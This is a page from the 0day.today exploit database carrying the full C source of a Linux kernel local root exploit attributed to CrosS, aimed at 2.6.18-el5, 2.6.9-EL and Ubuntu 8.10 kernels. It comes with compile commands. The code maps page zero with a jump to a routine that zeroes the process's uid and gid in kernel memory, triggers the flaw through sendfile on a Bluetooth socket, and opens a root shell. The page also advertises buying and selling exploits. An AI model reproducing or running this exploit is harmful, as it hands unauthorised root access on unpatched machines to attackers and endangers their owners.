0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

Linux Kernel el5 Local root Exploit

Author

CrosS

Risk

[

Security Risk Unsored

]

0day-ID

Category

Date add

Platform

/*
 *
 *
 * 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
 * 0     _                   __           __       __                     1
 * 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
 * 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
 * 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
 * 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
 * 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
 * 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
 * 1                  \ \____/ >> Exploit database separated by exploit   0
 * 0                   \/___/          type (local, remote, DoS, etc.)    1
 * 1                                                                      0
 * 0  By CrosS                                                            1
 * 1                                                                      0 
 * 0  Linux 2011                                                          1
 * 1                                                                      0
 * -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1
 * 
 * Linux 2.6.18-128.el5
 * Linux 2.6.9-89.EL
 * Ubuntu 8.10 Linux 2.6.27
 *
 * For i386 & ppc compile with the command;
 * gcc -w -o exploit exploit.c
 *
 * For x86_64 kernel and ppc64 Compile as;
 * gcc -w -m64 -o exploit exploit.c
 *
 * Greetz: r0073r( 1337day.com ),r4dc0re,side^effects and all members of 1337day Team ) ..... & all members of r00tw0rm.com ( RW ) .. )
 *
 * Submit Your Exploit at Submit@1337day.com | mr.inj3ct0r@gmail.com
 *
 * For Educational purpose Only))
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
 
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("movq %%rsp,%0; " : "=r" (sp));
 
    return sp;
}
 
#else
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("movl %%esp,%0" : "=r" (sp));
 
    return sp;
}
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("mr %0,%%r1; " : "=r" (sp));
 
    return sp;
}
 
#endif
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct;
 
    asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));
 
    return task_struct;
}
 
#else
#define TASK_RUNNING 0
 
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct, thread_info;
 
    thread_info = current_stack_pointer() & ~(4096 - 1);
 
    if (*(unsigned long *)thread_info >= 0xc0000000) {
        task_struct = *(unsigned long *)thread_info;
 
        /*
         * The TASK_RUNNING is the Only poss1ble sta7e for a proCes5 exEcut1ng
         * in us3r-spaCe.
         */
        if (*(unsigned long *)task_struct == TASK_RUNNING)
            return task_struct;
    }
 
    /*
     * Prior to the 2.6 kernel series, the task_struct was stored at the end
     * of the kernel stack.
     */
    task_struct = current_stack_pointer() & ~(8192 - 1);
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    thread_info = task_struct;
 
    task_struct = *(unsigned long *)thread_info;
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    return -1;
}
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
 
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct, thread_info;
 
#if defined(__LP64__)
    task_struct = current_stack_pointer() & ~(16384 - 1);
 
#else
    task_struct = current_stack_pointer() & ~(8192 - 1);
 
#endif
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    thread_info = task_struct;
 
    task_struct = *(unsigned long *)thread_info;
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    return -1;
}
 
#endif
 
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;
 
static int
change_cred(void)
{
    unsigned int *task_struct;
 
    task_struct = (unsigned int *)current_task_struct();
 
    while (task_struct) {
        if (task_struct[0] == uid && task_struct[1] == uid &&
                task_struct[2] == uid && task_struct[3] == uid &&
                task_struct[4] == gid && task_struct[5] == gid &&
                task_struct[6] == gid && task_struct[7] == gid) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        task_struct++;
    }
 
    return -1;
}
 
#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
    unsigned int *task_struct;
 
    task_struct = (unsigned int *)current_task_struct();
 
    while (task_struct) {
        if (!task_struct[0]) {
            task_struct++;
            continue;
        }
 
        if (task_struct[0] == task_struct[1] &&
                task_struct[0] == task_struct[2] &&
                task_struct[0] == task_struct[3] &&
                task_struct[4] == task_struct[5] &&
                task_struct[4] == task_struct[6] &&
                task_struct[4] == task_struct[7]) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        task_struct++;
    }
 
    return -1;
}
 
#endif
 
#define PAGE_SIZE getpagesize()
 
int
main(void)
{
    char *addr;
    int out_fd, in_fd;
    char template[] = "/tmp/tmp.XXXXXX";
 
#if defined(__i386__) || defined(__x86_64__)
    uid = getuid(), gid = getgid();
 
#endif
 
    if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
    addr[0] = '\xff';
    addr[1] = '\x24';
    addr[2] = '\x25';
    *(unsigned long *)&addr[3] = 8;
    *(unsigned long *)&addr[8] = (unsigned long)change_cred;
 
#else
    addr[0] = '\xff';
    addr[1] = '\x25';
    *(unsigned long *)&addr[2] = 8;
    *(unsigned long *)&addr[8] = (unsigned long)change_cred;
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
    /*
     * The use of function descriptors by the Power 64-bit ELF ABI requires
     * the use of a fake function descriptor.:P
     */
    *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
 
#else
    addr[0] = '\x3f';
    addr[1] = '\xe0';
    *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
    addr[4] = '\x63';
    addr[5] = '\xff';
    *(unsigned short *)&addr[6] = (unsigned short)change_cred;
    addr[8] = '\x7f';
    addr[9] = '\xe9';
    addr[10] = '\x03';
    addr[11] = '\xa6';
    addr[12] = '\x4e';
    addr[13] = '\x80';
    addr[14] = '\x04';
    addr[15] = '\x20';
 
#endif
 
#endif
 
    if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(EXIT_FAILURE);
    }
 
    if ((in_fd = mkstemp(template)) == -1) {
        perror("mkstemp");
        exit(EXIT_FAILURE);
    }
 
    if(unlink(template) == -1) {
        perror("unlink");
        exit(EXIT_FAILURE);
    }
 
    if (ftruncate(in_fd, PAGE_SIZE) == -1) {
        perror("ftruncate");
        exit(EXIT_FAILURE);
    }
 
    sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
 
    execl("/bin/sh", "sh", "-i", NULL);
 
    exit(EXIT_SUCCESS);
}



#  0day.today [2024-12-26]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

Linux Kernel el5 Local root Exploit

Report Error

Report Error